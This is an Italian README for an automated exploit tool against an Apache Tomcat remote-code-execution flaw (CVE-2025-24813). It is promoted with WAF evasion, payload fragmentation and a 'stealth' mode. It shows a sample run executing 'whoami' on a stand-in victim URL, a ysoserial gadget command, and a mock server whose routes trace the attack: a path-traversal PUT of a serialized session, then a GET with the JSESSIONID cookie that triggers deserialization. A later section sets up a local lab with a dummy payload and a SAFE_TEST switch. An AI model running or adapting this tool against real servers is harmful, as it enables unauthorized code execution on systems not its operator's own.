
Questo repository contiene un exploit automatizzato sviluppato a scopo educativo e di ricerca in cybersecurity, volto a dimostrare una potenziale vulnerabilità di esecuzione remota di codice (RCE) in Apache Tomcat (CVE-2025-24813).
⚡ Versione: 1.0 🛡️ CVE ID: CVE-2025-24813 (Apache Tomcat RCE) 🧬 Payload:
ysoserial/Java🌐 Modalità: Interattivo + Stealth 🔬 Uso: Etico, Investigativo, Educativo
Questo strumento è stato progettato come una suite di sfruttamento futuristica incentrata su:
🧪 Progettata per professionisti della cybersecurity, ricercatori, pentester e red team.
✅ Interfaccia interattiva e intuitiva
✅ Payload dinamici (ysoserial o Java compilato)
✅ Header camaleontici anti-WAF
✅ Evasione automatica + frammentazione dei payload
✅ Fingerprinting dell'esecuzione nel backend
✅ Logging dettagliato per obiettivo
✅ Banner stile cyberpunk dinamico (🔮 glitch animation)
✅ Live feedback nella console (con Rich & Colorama)
Installa i requisiti necessari con:
pip install -r requirements.txt
Dipendenze:
requests
colorama
rich
validators
E assicurati di avere:
Java e javac nel PATHysoserial.jar se usi il payload tipo ysoserialEsegui lo script:
python3 POC-Exploit_CVE_2025_24813.py
E completa la configurazione:
🧬 Seleziona il tipo di payload 💣 Specifica il comando 🌐 Inserisci l'URL del target 🔧 Regola l'evasione e la configurazione SSL
🔗 [?] Inserisci l'URL del target: https://victima.org
💣 [?] Comando da eseguire: whoami
🧬 [?] Tipo di payload: ysoserial
📂 [?] Percorso per ysoserial.jar: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] Verificare SSL? (sì/no): no
🚀 Eseguendo...
🧬 WAF rilevato... cambio di strategia
⚙️ Caricamento del payload in corso...
💥 Conferma di esecuzione remota
✅ Risultato: 'apache'
┌──────────────────────────────┐
│ Modalità Interattiva │
├──────────────────────────────┤
│ Validazione URL │
│ Rilevamento sessione │
│ Rilevamento WAF │
│ Generazione payload │
│ Caricamento evasivo via PUT │
│ Verifica esecuzione │
└──────────────────────────────┘
↘ LOG PER OBIETTIVO
ysoserial, serializza gadget vulnerabili per eseguire comandi..java personalizzato che esegue il comando remoto dal server.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # Script principale
ysoserial.jar # Richiesto se usi 'ysoserial'
logs/ # Cartella di log individuali per obiettivo
payload.ser # Payload generato temporaneamente
Exploit.java / .class # File temporanei per Java
Questo strumento è stato creato esclusivamente per scopi legali ed educativi.
✅ Consentito:
🚫 Vietato:
Né l'autore né i collaboratori sono responsabili per l'uso improprio. Tu sei responsabile della tua condotta.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Apache Tomcat Remote Code Execution 🔗 Vedi dettagli su CVE MITRE
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
Consulta il file
LICENSEper maggiori informazioni.
Questo README e script sono progettati per un'esperienza immersiva, visiva ed elegante, in sintonia con una nuova era di cybersicurezza futuristica e con scopo.
✨ Non solo exploit... è una sinfonia tecnica di evasione e controllo digitale.
Versione consigliata: Python 3.8+
Librerie Python da installare:
pip install requests colorama
Lo script utilizza due forme di payload:
Per questo hai bisogno di:
Java JDK (non solo JRE, perché viene compilato del codice). Verifica con:
java -version
javac -version
Se entrambi i comandi funzionano, sei pronto.
Scarica il .jar da qui 👉 https://github.com/frohoff/ysoserial
Salvalo nella stessa directory dello script o indica il percorso completo quando ti viene richiesto. Esempio:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe) aprirà la calcolatrice.gnome-calculator o xcalc.Installare Python 3.8+
Installare librerie:
pip install requests colorama etc
Installare Java JDK 8+
java -version
javac -version
Scaricare ysoserial.jar nella cartella dello script.
👉 Con tutto ciò potrai eseguire lo script in modalità laboratorio sicuro (solo in ambienti controllati, per test).
Versione: 1.0 Scopo: Questa guida spiega come preparare un ambiente completamente sicuro per testare lo script che hai, senza influenzare sistemi reali. Include un server di test (mock), modalità sicura (DRY_RUN / SAFE_TEST), e passaggi chiari per eseguire lo strumento in laboratorio.
pip disponibile.virtualenv o venv.Installa le dipendenze:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
Nota:
flaskviene usato solo per il server di test locale (mock).
Crea un file mock_server.py con questo contenuto. Il server simula gli endpoint che lo script si aspetta e restituisce stati controllati (200, 409, 500) in modo che tu possa validare la logica dello script senza toccare server reali.
# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# Simula un recurso escribible
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
Come eseguirlo:
python mock_server.py
# El mock quedará escuchando en http://127.0.0.1:8000
Per i test non hai bisogno di generare payload reali. Crea un file semplice che lo script possa caricare:
echo "DUMMY_PAYLOAD" > payload.ser
Questo file non contiene codice eseguibile: serve solo per validare la logica di caricamento e vedere le risposte del server mock.
Per evitare che lo script invochi utilità esterne (Java/ysoserial) o esegua azioni pericolose, aggiungi questo blocco all'inizio dello script principale (prima di qualsiasi generazione/chiamata a subprocess):
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
Poi modifica (o avvolgi) le funzioni di generazione/caricamento per comportarsi in modo sicuro quando SAFE_TEST è True.
Esempio di modifica minima per generate_ysoserial_payload e generate_java_payload:
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
def generate_java_payload(command, payload_file, target_url):
if SAFE_TEST:
log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
with open(payload_file, 'wb') as f:
f.write(b"DUMMY_JAVA_PAYLOAD")
return payload_file
# --- comportamiento original solo si SAFE_TEST == False ---
E in upload_and_verify_payload, se SAFE_TEST è True, usa il flusso normale (il mock lo accetterà) ma non eseguire comandi esterni allo script.
Come attivare SAFE_TEST:
Linux/macOS:
export SAFE_TEST=1
Windows (PowerShell):
$env:SAFE_TEST = "1"
Avvia il tuo ambiente virtuale e assicurati di avere le dipendenze installate (vedi sezione Requisiti).
Avvia il mock_server.py:
python mock_server.py
Crea il payload dummy se non usi SAFE_TEST o questo non crea il payload per te:
echo "DUMMY_PAYLOAD" > payload.ser
Attiva la modalità sicura nel terminale:
export SAFE_TEST=1 # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"
Esegui lo script principale:
python3 tu_script.py
Rispondi ai prompt (userai valori di laboratorio):
http://127.0.0.1:8000ysoserial (lo script, con SAFE_TEST=1, creerà un payload dummy invece di invocare strumenti esterni)ysoserial.jar — non verrà usato in modalità sicura)no (il tuo mock usa HTTP)check_writable_servlet rilevi il PUT riuscito all'endpoint /check.txt.payload.ser, il mock restituisca 409 e che lo script poi faccia un GET con il cookie JSESSIONID.Usa pytest e requests-mock per simulare risposte HTTP.
Crea test per:
validate_url — input validi/errati.retry_request — simulare eccezioni e tentativi.detect_waf — simulare header Server con e senza firme.upload_and_verify_payload — usare il mock del server per validare il flusso.Esempio semplice con requests-mock (scheletro):
# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request
def test_validate_url():
assert validate_url('http://127.0.0.1:8000')
assert not validate_url('notaurl')
def test_retry_request_success():
# usa requests_mock para simular un GET y comprobar retry_request
pass
Autore:ByMakavali
Osserva l'output nella console: dovresti vedere messaggi Server is writable via PUT, Payload uploaded with status 409 e Exploit succeeded! Server returned 500 after deserialization. — questo è solo nel mock e significa che il flusso logico dello script funziona.
Controlla i log in logs/ — lo script salva voci con timestamp. Ad esempio logs/127_0_0_1_8000.log (in base al nome del target sanitizzato).